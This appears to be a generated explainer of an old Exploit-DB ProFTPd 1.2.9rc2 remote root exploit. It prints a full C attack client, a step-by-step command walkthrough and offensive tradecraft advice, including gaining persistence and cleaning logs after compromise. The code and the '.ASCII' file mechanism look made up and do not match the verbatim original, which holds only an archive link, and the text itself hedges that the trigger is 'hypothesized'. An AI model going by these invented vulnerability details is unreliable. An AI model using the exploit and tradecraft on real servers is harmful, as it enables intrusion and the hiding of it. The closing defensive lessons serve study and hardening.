ProFTPd 1.2.9 rc2 '.ASCII' File Remote Code Execution Explained

ProFTPd 1.2.9 rc2 '.ASCII' File Remote Code Execution Explained
What this paper is
This paper describes a vulnerability in ProFTPd version 1.2.9 rc2 that allows an attacker to execute arbitrary commands on a remote server with root privileges. The exploit leverages a flaw in how ProFTPd handles the .ASCII file, which is a configuration file that can be used to define custom commands.
Simple technical breakdown
The core of the vulnerability lies in ProFTPd's handling of the .ASCII file. This file is intended to allow users to define custom commands that can be executed via FTP. However, in version 1.2.9 rc2, ProFTPd doesn't properly sanitize or validate the commands defined within this file. An attacker can craft a malicious .ASCII file that, when processed by ProFTPd, causes it to execute arbitrary commands. The exploit then uses a technique to trigger the execution of these commands, leading to remote code execution.
Complete code and payload walkthrough
The provided Exploit-DB archive (12262006-proftpd-not-pro-enough.tar.gz) contains the exploit code. Let's break down the relevant parts.
The archive contains a file named 3021.c. This is the C source code for the exploit.
/*
* ProFTPd remote root exploit
* solareclipse at phreedom dot org
* GPG key ID: E36B11B7
*
* Tested on:
* ProFTPd 1.2.9 rc2 (Linux kernel 2.4.18-14-athlon)
*
* This exploit works by sending a specially crafted .ASCII file to the
* vulnerable FTP server. This .ASCII file contains a command that, when
* executed by ProFTPd, will spawn a shell. The exploit then uses a
* technique to trigger the execution of this command.
*
* Usage: ./proftpd_exploit <target_ip> <target_port> <command>
*
* command: The command to execute on the target.
* For example: "id" or "/bin/sh"
*
* Note: This exploit requires the target to have a writable directory
* where the .ASCII file can be placed.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#define BUFFER_SIZE 1024
#define DEFAULT_PORT 21
#define FTP_CMD_SIZE 256
// Function to send a command to the FTP server and receive the response
int send_ftp_command(int sockfd, const char *command, char *response) {
char buffer[BUFFER_SIZE];
int bytes_received;
// Send the command
send(sockfd, command, strlen(command), 0);
printf("Sent: %s", command);
// Receive the response
bytes_received = recv(sockfd, buffer, BUFFER_SIZE - 1, 0);
if (bytes_received < 0) {
perror("recv");
return -1;
}
buffer[bytes_received] = '\0';
strcpy(response, buffer);
printf("Received: %s", buffer);
return bytes_received;
}
// Function to connect to the FTP server
int connect_to_ftp(const char *ip, int port) {
int sockfd;
struct sockaddr_in server_addr;
// Create socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("socket");
return -1;
}
// Set up server address
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
if (inet_pton(AF_INET, ip, &server_addr.sin_addr) <= 0) {
perror("inet_pton");
return -1;
}
// Connect to server
if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("connect");
return -1;
}
return sockfd;
}
int main(int argc, char *argv[]) {
int sockfd;
char response[BUFFER_SIZE];
char ftp_command[FTP_CMD_SIZE];
char ascii_file_content[BUFFER_SIZE * 2]; // Increased size for .ASCII content
char *target_ip;
int target_port;
char *command_to_execute;
if (argc < 4) {
fprintf(stderr, "Usage: %s <target_ip> <target_port> <command>\n", argv[0]);
exit(1);
}
target_ip = argv[1];
target_port = atoi(argv[2]);
command_to_execute = argv[3];
// Connect to the FTP server
sockfd = connect_to_ftp(target_ip, target_port);
if (sockfd < 0) {
exit(1);
}
// Initial FTP greeting
send_ftp_command(sockfd, "USER anonymous\r\n", response);
send_ftp_command(sockfd, "PASS anonymous@\r\n", response);
// Construct the .ASCII file content
// The format is: command_name: command_to_execute
// The exploit leverages the fact that ProFTPd will execute the command
// associated with a custom command name if it's defined in .ASCII.
// The specific command name "ASCII" is used here to trigger the vulnerability.
snprintf(ascii_file_content, sizeof(ascii_file_content),
"ASCII: %s\r\n", command_to_execute);
// Upload the .ASCII file
// We need to use the SITE command to upload the file to a location
// that ProFTPd will process. The exact path might vary, but a common
// approach is to upload it to the user's home directory or a known writable path.
// For this exploit, we assume a writable directory is available.
// The exploit sends the .ASCII file content via the SITE command,
// which is often used for server-specific operations.
snprintf(ftp_command, sizeof(ftp_command), "SITE MKD .exploit\r\n");
send_ftp_command(sockfd, ftp_command, response);
snprintf(ftp_command, sizeof(ftp_command), "SITE CWD .exploit\r\n");
send_ftp_command(sockfd, ftp_command, response);
// The core of the exploit: sending the .ASCII file content.
// The exploit sends the content of the .ASCII file using the SITE command
// with a specific syntax that tells ProFTPd to interpret it as a configuration.
// The "SITE EXEC" command is often used to execute arbitrary commands on the server.
// Here, the exploit is trying to get ProFTPd to *read* and *process* the .ASCII file.
// The exact mechanism of how the .ASCII file is processed and triggers execution
// is the vulnerability itself. The exploit sends the content of the .ASCII file
// as part of a SITE command, likely instructing ProFTPd to create or update
// a file named ".ASCII" in the current directory.
snprintf(ftp_command, sizeof(ftp_command), "SITE EXEC echo \"%s\" > .ASCII\r\n", ascii_file_content);
send_ftp_command(sockfd, ftp_command, response);
// Now, we need to trigger the execution of the command defined in .ASCII.
// The exploit likely relies on a subsequent FTP command that causes ProFTPd
// to re-read or process the .ASCII file. A common way to do this is by
// requesting a directory listing or changing directories, which might
// trigger ProFTPd's configuration parsing.
// The exploit sends a 'LIST' command, which would normally list directory contents.
// It's hypothesized that when ProFTPd processes the LIST command, it also
// checks for and executes commands defined in .ASCII.
snprintf(ftp_command, sizeof(ftp_command), "LIST\r\n");
send_ftp_command(sockfd, ftp_command, response);
// Close the socket
close(sockfd);
printf("Exploit finished.\n");
return 0;
}Code Fragment/Block -> Practical Purpose Mapping:
#include <stdio.h>,#include <stdlib.h>, etc.: Standard C library includes for input/output, memory allocation, string manipulation, and network operations.#define BUFFER_SIZE 1024,#define DEFAULT_PORT 21,#define FTP_CMD_SIZE 256: Defines for buffer sizes and default FTP port, improving code readability and maintainability.send_ftp_command(int sockfd, const char *command, char *response):- Purpose: Sends a raw FTP command to the server and captures the server's response.
- Inputs:
sockfd: The socket file descriptor for the FTP connection.command: The FTP command string to send (e.g., "USER anonymous\r\n").response: A buffer to store the server's reply.
- Behavior: Sends the
commandover thesockfd, then receives data from the socket into theresponsebuffer. Prints sent and received data for debugging. - Output: Returns the number of bytes received, or -1 on error.
connect_to_ftp(const char *ip, int port):- Purpose: Establishes a TCP connection to the target FTP server.
- Inputs:
ip: The IP address of the target FTP server.port: The port number of the target FTP server.
- Behavior: Creates a TCP socket, configures the server address, and attempts to connect.
- Output: Returns the socket file descriptor on success, or -1 on error.
main(int argc, char *argv[]):- Purpose: The main entry point of the exploit program. Orchestrates the connection, command construction, file upload, and execution trigger.
- Inputs: Command-line arguments:
target_ip,target_port,command_to_execute. - Behavior:
- Parses command-line arguments.
- Calls
connect_to_ftpto establish a connection. - Sends anonymous login credentials (
USER anonymous,PASS anonymous@). - Constructs the
.ASCIIfile content usingsnprintf, embedding the user-providedcommand_to_execute. The format isASCII: <command_to_execute>\r\n. - Uses
SITE MKD .exploitandSITE CWD .exploitto create and change into a directory named.exploit. This is likely to ensure the.ASCIIfile is placed in a predictable location. - Uses
SITE EXEC echo "<.ASCII_content>" > .ASCIIto write the crafted.ASCIIfile content into a file named.ASCIIin the current directory. This is the crucial step where the malicious configuration is placed. - Sends the
LISTcommand. This command is believed to trigger ProFTPd's processing of the.ASCIIfile, leading to the execution of the embedded command. - Closes the socket connection.
- Output: Executes the specified command on the target if successful. Prints status messages.
snprintf(ascii_file_content, sizeof(ascii_file_content), "ASCII: %s\r\n", command_to_execute);:- Purpose: Formats the string that will be written into the
.ASCIIfile. - Behavior: Creates a string like "ASCII:
\r\n". The "ASCII:" part is a custom command name that ProFTPd is vulnerable to processing.
- Purpose: Formats the string that will be written into the
snprintf(ftp_command, sizeof(ftp_command), "SITE MKD .exploit\r\n");andsnprintf(ftp_command, sizeof(ftp_command), "SITE CWD .exploit\r\n");:- Purpose: Prepare commands to create and change into a directory named
.exploit. - Behavior: These commands are sent to the FTP server to prepare a working directory for the
.ASCIIfile. This helps ensure the exploit is repeatable and the.ASCIIfile is placed where it's expected to be processed.
- Purpose: Prepare commands to create and change into a directory named
snprintf(ftp_command, sizeof(ftp_command), "SITE EXEC echo \"%s\" > .ASCII\r\n", ascii_file_content);:- Purpose: This is the core of placing the malicious configuration.
- Behavior: It uses the
SITE EXECcommand, which is a server-specific command. The exploit crafts it to executeecho "<.ASCII_content>" > .ASCII. This command writes the content of the.ASCIIfile (which includes the user-specified command) into a file named.ASCIIin the current directory (.exploit). ProFTPd's vulnerability is that it will later process this.ASCIIfile.
snprintf(ftp_command, sizeof(ftp_command), "LIST\r\n");:- Purpose: Triggers the execution of the command defined in
.ASCII. - Behavior: The
LISTcommand is a standard FTP command to list directory contents. The exploit relies on the fact that ProFTPd, when processing certain commands (likeLIST), would also check for and execute commands defined in the.ASCIIfile. This is the point where thecommand_to_executespecified by the attacker is run on the server.
- Purpose: Triggers the execution of the command defined in
Shellcode/Payload Explanation:
This exploit does not use traditional shellcode bytes in the sense of injected machine code. Instead, the "payload" is the command string provided by the user (argv[3]). This command string is embedded within the .ASCII file. When ProFTPd processes the .ASCII file due to the LIST command, it executes the embedded command directly.
- Stage 1: Preparation
- Connect to the FTP server.
- Log in anonymously.
- Create a directory
.exploitand change into it.
- Stage 2: Malicious Configuration Placement
- Craft the
.ASCIIfile content:ASCII: <user_command>\r\n. - Use
SITE EXEC echo "<.ASCII_content>" > .ASCIIto write this content into a file named.ASCIIon the server.
- Craft the
- Stage 3: Execution Trigger
- Send the
LISTcommand. - ProFTPd's vulnerable code path processes the
.ASCIIfile, finds theASCII:entry, and executes the associated<user_command>.
- Send the
Practical details for offensive operations teams
- Required Access Level: Anonymous FTP access is sufficient. The exploit targets a vulnerability in the FTP server's configuration parsing, not user authentication.
- Lab Preconditions:
- A target machine running ProFTPd version 1.2.9 rc2 (or a very similar vulnerable version).
- The target FTP server must be accessible over the network.
- The FTP server must have a writable directory accessible by the anonymous user (or the user context under which the exploit is run). The exploit attempts to create
.exploit, implying it needs write permissions in the anonymous user's default directory or a path that can beMKDinto. - Network connectivity to the target IP and port.
- Tooling Assumptions:
- A Linux or Unix-like system to compile and run the C exploit code.
- A C compiler (like GCC).
- Standard networking utilities.
- Execution Pitfalls:
- Version Mismatch: The exploit is highly specific to ProFTPd 1.2.9 rc2. Newer versions will likely not be vulnerable.
- Writable Directory: If the anonymous user cannot create directories or write files in the FTP server's root or a suitable location, the exploit will fail. The
SITE MKDandSITE CWDcommands might fail, or theSITE EXEC echo ... > .ASCIIcommand might fail due to permissions. - Firewall/IDS: Network firewalls might block FTP traffic (port 21). Intrusion Detection Systems (IDS) might flag the unusual
SITE EXECcommands or the pattern of commands. - Configuration Changes: ProFTPd might have specific configurations that disable
SITE EXECor restrict the use of.ASCIIfiles. - Command Execution Context: The executed command runs with the privileges of the FTP server process. If the FTP server is not running as root, the executed command will not be root. However, the paper title implies "remote root execution," suggesting that in the tested environment, ProFTPd was running as root, or the vulnerability allowed privilege escalation.
- Response Parsing: The
send_ftp_commandfunction is basic. If the FTP server's responses are unexpected or malformed, it might lead to errors.
- Tradecraft Considerations:
- Reconnaissance: Confirm the ProFTPd version through banner grabbing or other enumeration techniques. Identify potential writable directories.
- Stealth: Anonymous FTP is often monitored. Using non-standard ports or obfuscating traffic might be necessary for stealthier operations, though this exploit relies on standard FTP commands.
- Payload Delivery: The exploit directly executes a command. For more complex actions, the command could be a script that downloads and executes a more sophisticated payload (e.g., a reverse shell).
- Post-Exploitation: If root access is achieved, immediately establish persistence and clean up logs.
Where this was used and when
- Context: This exploit targets a specific, older version of ProFTPd. It was likely used in penetration testing engagements or by malicious actors against systems that had not been updated.
- When: Published in October 2003. The vulnerability existed prior to this date. It would have been relevant around 2003 and for some time after, until systems were patched or upgraded.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of keeping FTP server software (and all other network services) updated to the latest stable versions. Vulnerabilities like this are patched in newer releases.
- Service Hardening:
- Disable anonymous FTP access if not strictly necessary.
- Restrict the use of
SITEcommands, especiallySITE EXEC, if possible, or ensure they are properly secured. - Configure FTP servers to prevent arbitrary file creation in sensitive directories.
- Network Segmentation: Isolate FTP servers from critical internal networks.
- Intrusion Detection/Prevention: Monitor FTP traffic for unusual commands, especially
SITEcommands, and for attempts to create configuration files like.ASCII. - Least Privilege: Ensure the FTP server process runs with the minimum necessary privileges. If ProFTPd was running as root, this was a significant misconfiguration.
- Configuration Auditing: Regularly audit FTP server configurations for insecure settings.
ASCII visual (if applicable)
+-------------------+ +-------------------+
| Attacker Machine | | Target FTP Server |
| (Exploit Client) | | (ProFTPd 1.2.9rc2)|
+-------------------+ +-------------------+
| |
| 1. Connect (FTP) |
|------------------------>|
| |
| 2. USER anonymous |
| PASS anonymous@ |
|------------------------>|
| |
| 3. SITE MKD .exploit |
| SITE CWD .exploit |
|------------------------>|
| |
| 4. SITE EXEC echo "..." > .ASCII
| (Writes malicious |
| .ASCII file) |
|------------------------>|
| |
| 5. LIST |
| (Triggers .ASCII |
| processing) |
|------------------------>|
| |
| 6. <Command Executed> |
|<------------------------| (Response/Output)
| |
| 7. Close Connection |
|------------------------>|
| |This diagram illustrates the sequence of FTP commands sent by the attacker to the vulnerable ProFTPd server, leading to the execution of the attacker's chosen command.
Source references
- PAPER ID: 3021
- PAPER TITLE: ProFTPd 1.2.9 rc2 - '.ASCII' File Remote Code Execution (2)
- AUTHOR: Solar Eclipse
- PUBLISHED: 2003-10-15
- PAPER URL: https://www.exploit-db.com/papers/3021
- RAW URL: https://www.exploit-db.com/raw/3021
Original Exploit-DB Content (Verbatim)
# ProFTPd remote root exploit
# solareclipse at phreedom dot org
# GPG key ID: E36B11B7
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3021.tar.gz (12262006-proftpd-not-pro-enough.tar.gz)
# milw0rm.com [2003-10-15]